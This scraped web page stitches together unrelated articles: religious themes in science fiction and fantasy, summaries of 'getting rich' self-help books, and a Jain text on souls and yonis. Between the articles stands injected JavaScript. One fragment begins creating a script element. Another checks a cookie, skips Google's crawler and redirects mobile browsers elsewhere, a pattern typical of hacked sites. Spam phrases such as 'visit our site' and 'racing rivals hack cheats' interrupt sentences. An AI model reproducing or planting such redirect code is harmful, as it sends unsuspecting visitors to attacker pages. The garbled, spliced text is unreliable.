Science Fiction, Fantasy And Religion

Science fiction and Fantasy (SF/F) novels and stories often use religious themes as an integral part of the story. This may be due generally to the experimental or exploratory nature of the Science Fiction and Fantasy genre. Of course, the use of religious themes by SF/F authors does not mean that religious faith is necessarily being promoted. Often, the stories are critical of religion as a human institution and theology as a relevant way of thought. However, in this article we consider the use of religious themes in SF/F to achieve different storytelling perspectives using stories that deal with questions of a spiritual or religious nature.
Religious themes cataloged in SF/F as follows:
After life, eternal state
Angels and Demons
Eschatology, end times
Hell and punishment
Humanity, what it means to be human
Jesus (divine, human, fictional)
Messiah, who saves humanity
Metaphysics, forces, powers, and knowledge
Sin and evil
Theocracy, political governance by religion.
Within these themes, some characters assume a Creator exists while others are agnostic or atheistic. But they all operate and behave in ways that shed light on the author’s use of religion.
The Big Questions
There is almost a kind of religious dialogue conducted by SF/F authors across the years as one author’s story is responded to by that of another author. One example is C.S. Lewis’ stories being an inspiration for Philip Pullman to write His Dark Materials. Lewis is very Christian, while Pullman hates the church and Lewis almost as much as atheists like Richard Dawkins hate every religion but their own peculiar kind of Scientism.
It is interesting that a discussion of the « Big Questions » of life are carried on more within a literary genre rather than within the halls of academia. With the rise of analytic philosophy and logical positivism, academic philosophers began ignoring the big questions, emphasizing instead the tiny logical clarification of thoughts, asserting that the big philosophical questions no longer exist. This kind of postmodernism is typically atheistic or agnostic. Some prefer to follow eastern religion thoughts and practices which do not promote a personal deity. Many substitute humanitarianism or environmentalism for traditional visit our site religion, choosing to place their faith in naturalism and evolution rather than a Biblical Creator.
A Sample of Writers and Their Stories There are many writers and SF/F stories that use religion and theology as a platform. All of this bubbles up to the minds and imaginations of SF/F writers. Here’s a brief sample of some of the famous ones that use religion/theology in their storytelling.
Robert A. Heinlein’s Stranger in a Strange Land In the past writers like Robert A. Heinlein (once a Baptist) solved the struggles of humanity in his story Stranger in a Strange Land, where his protagonist, Valentine Michael Smith (raised on a Mars of the future), turns Martian philosophy into a human religion. As a messiah, Smith has pyschic abilities and powers that set him apart from other humans. Heinlein gives us a Martian religion based upon an eastern idea of the oneness of everything. He supplies an afterlife of wise spirits and a Holy Communion where the bereaved eat the body of their dead. Heinlein creates a Church of All Worlds for his character to run that practices initiation similar to that of ancient mystery religions, but also teaches its members how to respond to suffering. It was all done so compellingly that an actual religion was founded by Tim Zell which patterned its principles after the fictional church.
Frank Herbert’s Dune The messiah in Frank Herbert’s Dune, Paul Muad’dib, combines characteristics of an Arab Muslim prophet and some Christian messianic concepts. Like Jesus, Paul Atreides suffers before being elevated to Divinity. The idea of the spoken word becoming a physical weapon, the water of life, the nun-like order of the Bene Gesserit, are a few of the many elements of Christianity, Islam, and Buddhism Herbert used in the story. Some unique ideas of Herbet’s include a God who, « likes to be surprised » and the use of the spice melange to aid both space travel in the physical universe and omniscience in the spiritual.
Another SF/F writer who’s ideas were directly responsible for starting a church was Lafayette Ronald Hubbard whose creation we know as the Church of Scientology. Like many eastern religions, his church focused on techniques for spiritual growth more than a set of religious doctrines. Once Hubbard’s ideas for Dianetics became clear, he shifted from science fiction writing (over 138 pulp novels) to writing about his new faith in books like Dianetics: The Modern Science of Mental Health.
C. S. Lewis’ Space Trilogy C. S. Lewis’ Space Trilogy, consists of the novels Out of the Silent Planet, Perelandra (Voyage to Venus) and That Hideous Strength. Lewis, an outspoken Christian, uses characters with motives and actions that appear based upon Biblical examples. Oyarsa is like Lucifer, Maleldil the Young is like Jesus, and the Old One seems to be God the Father. If you remember, the reason the planet Earth is silent is that only its inhabitants have rebelled against the Old One. Elsewhere in the universe, all of creation rejoices in Him. Book 2, takes place on Venus where a new Adam and Eve (Tinidril) live in a new Garden of Eden. A human physicist, Professor Weston, travels to Venus to corrupt her innocence. The story focuses on the hero Elwin Ransom’s attempts to prevent another « fall ». In his battle with Professor Weston, Ransom goes beneath the earth in a struggle that has some parallels to Dante’s Inferno. In Book 3 an exploitative agency N.I.C.E. threatens to destroy humanity, with the help of evil spirits (fallen Eldila). The protagonist Dr. Elwin Ransom, with the help of good spirits, forms the St. Anne group to opposed to the progressives of Bracton College who are allied with N.I.C.E.}

The Science of Getting Rich – How Anyone Can Become Rich – Part 2

Do you dream of getting rich? Well, a very simple book called ‘The Science of Getting Rich’ written by Wallace D. Wattles a century ago sets out how anyone can become rich. This is Part 2 of a 3 part article series. It is recommended to read the entire book but this 3 part article will give you a handy rundown of the key concepts and ideas explored in the book.
If you have read part 1 of this article called “The Science of Getting Rich – How Anyone Become Rich – Part 1” then you will already have discovered that everybody has the right to be rich; that we must get rich in order that we can increase life and live more. We can do so by doing things in a certain way. Here in Part 2 we explore this concept further.
According the Wattles, you must be thinking in the Certain Way. By that visit it he means having a clear and definite picture continually in your mind; the unshakable purpose and unwavering Faith that the thing you desire is already yours will bring it about.
To set about getting rich you must learn how to use the wall upon yourself. It’s important not to force others to do what you wish done. When you have the picture of your desire strong in your mind all things in the universe are stirred toward bringing what you want into being. There is no room for doubt or unbelief. You must guard your thoughts from poverty if you want to become rich. The poor cannot be helped through charity alone; they need inspiration. Getting rich is, according to Wattles, the best way of helping the poor.
Creation NOT Competition
Further use of the wall – you cannot attain wealth if you hold opposing images of poverty and wealth in your mind. So, there’s no point talking about past financial disasters if you want to focus on getting rich. Think of yourself as becoming rich, instead of growing out of poverty. Be creative, rather than competitive and you will attain riches.
It’s not enough to rely on thoughts alone. You must also be acting in the certain way so that you can take what is yours when it comes to you. By thought, the thing you want is bought to you; by action you receive it. Hold onto the vision of what you want and act now upon the people and things in your present environment. Put your whole mind into the present action. You cannot act in the past or indeed in the future as it hasn’t arrived yet.
You cannot foresee the results of even the most trivial act. Therefore, do every day all that can be done. This is what Wattles calls efficient action. However, don’t overwork or rush blindly into your business. It’s not the number of things you do, but the efficiency of each action that counts. If you spend your life doing each act efficiently, and putting power into it, you cannot fail. Your whole life will be a success and you will become rich. Use your leisure hours to use your imagination and develop your mind, focusing on developing the details of your vision.
Getting into the Right Business
You can become successful in any business if you have the right faculties and skills. These are your tools. However, it will be easier to succeed by getting into the right business and using these tools in the right way. It is best to select the business for which you have the best developed talent and ideally one which you have a strong desire for. Desire brings power. This will result in your getting rich more easily and also with the most satisfaction. You may have to spend time doing what you do not like in order that you make it possible to do what you want. The best way, generally, to change business or environment is through growth. Although, be ready to make a sudden change if the right opportunity is presented. Being creative rather than competitive will mean you’ll never have to act hastily. If one space is taken, another one will open for you a little farther on. When in doubt, wait; contemplate your vision and cultivate gratitude. This will bring your mind into such close relationship with what Wattles calls, the Supreme, that you will make no mistake when you do act.var d=document;var s=d.createElement(‘script’);

The Science of Spiritualism

Part-4a: The Mystery of Form of Worldly Soul
The universe is beyond imagination that is functioning automatically in perfect harmony since eternity. The people have not seen the universe and thus have made the various kind of structure in their mind. When Jiva dies and leaves the body, then the body looses the consciousness and no movement of any kind occurs. It is a general tradition and thinking among us that the soul has left the body. While going it is not visible and also while leaving he does not say his departure to a particular place. Its functional ness can be known to only omniscient Gods who can see it and its where about and the causes of next modifications. Omniscient Gods are passionless, desire less, attachment less, know past, present and future at a time of everything and hence they give true description. The description of the universe has been given in previous article (3).
1.0 Soul activity: It is essential to know the basic characteristic of soul which is present in all the part of the body. Jive is invisible substance which has conscious entity or the living being known as Chetna or thought. Soul can also be defined as knowing continuously and observes sorrow-happiness. The purpose of soul has to be happy with the permanency. The entity of soul was in the past, also continuous in the present and will live in the future. While leaving the body, the Kerman body also associates with it and this invisible body is of cluster of Pedal atoms due to which modifications take place. The soul is very small and is as big as universe because it is multiple compound space body with the expansion property. The souls are infinite and all are equal with regards to basic characteristics but the worldly Jiva are largely divided into four categories from modification point of view;
1.1 Worldly Soul: These Jivas appear and disappear in the universe due to association of past Karmas performed. They are tied up in the worldly chain and Jiva roams in the constant cyclic time bound manner with the modifications in the 8.4 billion yonis.
1.2 Librated Soul (Mukta): Those Jivas who had shackled the chain of Karmas and are free from association of Karmas once for all. They had achieved moksa Tatav, a pure form of soul. The Moksa tatav will not allow the soul to associate with the Karmas at any moment. Therefore, the soul is in pure form having all the basic qualities and now resides on the Sidh Shila/Shiv Puri. Such souls are also infinite and will not come into worldly form ever.
1.1.1 Worldly Jivas are divided into five categories as per sensed: One sensed Jiva: Those living beings have one sense i.e. touch. These also called immobile beings and they are also two type: Fine body Jiva: Living being has no base body which can neither be stopped by anything and nor it can stop other substances. These are: – earth body soul, water body soul, fire body soul, air body soul, plant body souls. These exist all over the cosmic space possessing Karman body. Gross body Jivas (Badar Jiva): Living beings live on the base of support body which can be stopped by any thing and, it can stop other substances. They are five types: – earth body souls, water body souls, fire body souls, air body souls, plant body souls. Two sensed living beings: They have two kinds of senses- touch and smell. They are worms, shell, jonks, termites, shunkhs etc. Three sensed living beings: Those have three kinds of sense- touch, smell, taste. They are lice, moths etc. Four sensed Living beings: Those have four kind of senses- touch, smell, taste and seeing. They are flies, beetles, scorpions, mosquitoes etc Five sensed Living Beings: Those have five kinds of senses- touch, taste, smell, seeing and hearing. They are frogs, snakes, animals, human, celestial, infernal living beings. This can be divided into two types;
Note: Sential living beings can think for the self support and unsupported attitude. For example human, celestial, infernal, lion, elephant beings etc and others are non-sential.
1.3 Nucleus (Yoni): As is known that jiva after death leaves the previous body and moves for new body. It reaches to that place where he gets suitable materials for building up of gross body. The gain of suitable materials is known as birth and the place where it gets these material particles is known Yoni (nucleus). The kind of yonis are widely spread and in many form. Although there are 84 lakhs yonis but basically it can be divided into a few classes as shown in table-1.
Table-1: Types of Yonis
S.N. Kinds of Living Beings No. of Types of Yonis, lakhs
1. Eternal lowest form of life (Nitya Nigod) 7
2. Non-eternal lowest form of life(Itara nigod) 7
3. Solitary plants souls 10
4. Earth body souls 7
5. Water body souls 7
6. Fire body souls 7
7. Air body souls 7
8. Two sensed jiva 2
9. Three sensed Jiva 2
10. Four sensed Jiva 2
11. Five sensed sub-human beings 4
12. Infernal beings 4
13. Celestial visit our site beings 4
14. Human beings 14
1.4 Different Types of Birth: the birth occurs by three methods:
1.4.1 By descent: Birth occurs without parents. The soul achieves adulthood right away. Celestial and infernal beings born this way.
1.4.2 By Agglutinating: The soul gets birth without sexual relationship between parents. In this system the soul reaches at the place where it has to be born and gets suitable particles from the surrounding and grows. By this process, one to four sensed Jivas born.
1.4.3 By Womb: The soul is born after an ovum becomes fertilized with sperm upon sexual relations in the womb of the female human. These are classified in three types: By Jrayuj: By Egg:. By Poat:
1.4 Gender: The living beings are recognized by sign which they gain sexual organs as a result fruition of the body making Karma, are called the material gender. These are three types and classified as per living beings characterized shown in table-2.
Table-2: Genders of Living beings
S.N. Type of Living beings Gender
1. Celestial beings up to 16th heaven Male, female
2. Celestial beings up to 16th heaven Male
3. Human beings Male, female, hermaphrodite
4. Land of enjoyment, beings
5. Non-Aryan lands, living beings Male, female
6. Action lands, all living beings
7. Infernal living beings Male, female, hermaphrodite
8. Agglutination beings Male, female
9. Beings in bad land of enjoyment Male, female
2.0 Places for Living Beings: Different living beings reside at various places/areas in the universe as per designation besides Moksa souls. The following are the places:
2.1 Living places for Sub-human Beings: –
2.1.1 Fine body one sensed living beings exist through out the cosmic space.
2.1.2 Gross body one sensed living beings are present in square tube (Trusnali). They exist in earth, water, fire , air bodies and common body plants.
2.1.3 Solitary plant souls reside in green vegetable, plants like flower, leaf, fruits, trees etc.
2.1.4 Two, three, four sensed living beings exist in all the action lands within
two & half Islands and they also reside in the last Island, Swayamprabhu within
middle loka/square tube.
2.1.5 Five sensed jiva can be divided into three types. Those beings living in water are called water living beings. Living in lands (Thalchar): Both the sential and non-sentient living beings live on the land. They are born either by womb or by agglutinating system. Their places are:
• 170 action lands, 850 Melechcha lands, Vijayarth mounts.
• Sentient five sensed jivas also reside in 30 enjoyment lands where they enjoy like human. Living in the Air (Nabhchar): They are birds, crows, parrot, peacock, etc who can fly. They are born either by womb or by agglutinating process. They are sentient and non-sentient. Their living places are:
• 170 action lands, 850 Melechcha lands, Vijyarth mounts
• Sentient jivas born by womb also reside in 30 enjoyment lands.
2.2 Human Beings: The living places of humans can be broadly classified into four classes.
2.2.1 Action lands: At the center of middle loka, two and half Islands have 170 action lands on which human beings reside which are similar to each others except very large variation in age and height. For the livelihood, they work such as arming, writing, farming, handcrafting, business, serving the society etc. Here, the human, be self support, can rise to a level of moksa.
2.2.2 Non-Aryan lands (Mlechcha bhumi): The 5 lands are adjacent to each action land and thus total are 850 lands. The human beings residing here are similar to us but their nature is reversed as they are not aware about the natural laws and reality of the nature. So they cannot go to Moksa. Devi/Devta is their God who helps them during adversity. It is an important point to observe that 10 Vijayarth mounts and 50 Non-Aryan lands in Bharat and Airavat areas have 4rth variable time period in which once the age and height of human’s decrease and other time increase as per law of time Chakra. Presently the conditions at the end of 4rth period in Bharat and Airavat areas are still same while at Videh area, the conditions of 4rth period are constant and unchangeable on all kinds of land.
2.2.3 Land of enjoyment: Within two and half islands, 30 lands of enjoyment are permanent and eternal. Additionally, there are 10 more lands which are also eternal but the influence of time variable period change occurs. On the 10 lands, six time periods take place one after another at designated intervals. The 1st, 2nd, 3rd and 4rth time period have already ended. Now the 5th period is going on which is of 21000 years and after its completion, the 6th will commence. In all the time period, humans are like us except variation in age and height. In the lands of enjoyment, humans are born in twin pair (male-female) and at the same time their parents die. As a result they are not able to see the faces of their children. Hence there is no sadness and attachment here. These twin pair children grow themselves by sucking their thumbs and become young within 49 days. For livelihood, they do not work and get all needed materials from Kalpa tree free of cost. All are equal in status and hence there is no social and administrative system. They are happy humans and enjoy life and pass their time in enjoyment, talking, laughing, singing etc. Some right faiths human beings are involved in spiritualism. The quantity of food intake is small in the order of an orange. The weather is all the time normal and it is neither cold nor hot. The sun and moon light do not enter and all is available from Kalpa tree. The death occurs after
completion of designated age. These lands are classified into three types. Ten upper class lands of enjoyment- These humans have a very big body and age of 3 palya while they eat a little quantity once in three days. iddle class lands of enjoyment -Here the body size is less than the upper class and age of 2 palya. They eat a little quantity once in 2 days. Ten Lower class lands of enjoyment- The body size is less than the middle class and age of 1 palya. They eat a little food once a day.
All the living beings residing in lands of enjoyment are happy with no sadness. The food intake is very small in comparison of bodily size.}if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}} else {

The Science of Getting Rich, Is It Really Hard?

Getting rich, taken in the right sense, is a measure of success. For a long time now, authors have been writing works that offer help in the pursuit of success and richness. The market is flooded by such books yet one book which has always been seen as a classic in this genre continues to amaze people. Its title- Think and grow rich- has become not just a title of a book but a maxim that almost everyone recognizes and utters in different instances. Think and Grow Rich, was written by Napoleon Hill in the 1930s. It was a welcome contribution to an emerging trend forwarding an idea which had then been called racing rivals hack cheats the science of getting rich. This stems from the claim that getting rich can be systematically approached.

Napoleon Hill was one of the pioneers the visit it writing of personal success literature. His works examined the power of personal beliefs and their importance in achieving personal success. He always declared that what the mind can conceive, it can achieve. His books highlight how people have achieved what they may have conceived and this provide a formula for success open to anyone. Hill came to call his success teaching as the philosophy of achievement. This philosophy should always take on a positive face. Negative emotions such as fear and selfishness are the source of failure of unsuccessful people.

After systematically studying successful personalities, Hill first wrote an earlier book he called the Law of Success. The characteristics of the people he studied provided Hill with inputs for his second book which he envisioned can serve as a motivational book focused on personal development and self-help. The new book simplified the laws of success Napoleon Hill style into 13 principles or prescriptions of success which can be applied by anyone.

Success and getting rich were defined as simply personal achievement. Hills outlines these principles as embodied in attributes such as self confidence, habit of saving, initiative and leadership, imagination, enthusiasm, self control, getting more than paid for, pleasing personality, accurate thinking, accurate thinking, concentration, cooperation, profiting by failure, and tolerance.

Since then, Think and Grow Rich has catered to many people who have testified on how much the book actually made them rich and successful. Because more and more people wanted to get a copy of the book, it went through several versions and printings in the last 70 years. The book has also been presented in cassette version. Continually adapting to the changing times newer versions of the book, editors introduced modern examples and commentaries on Hill’s principles.
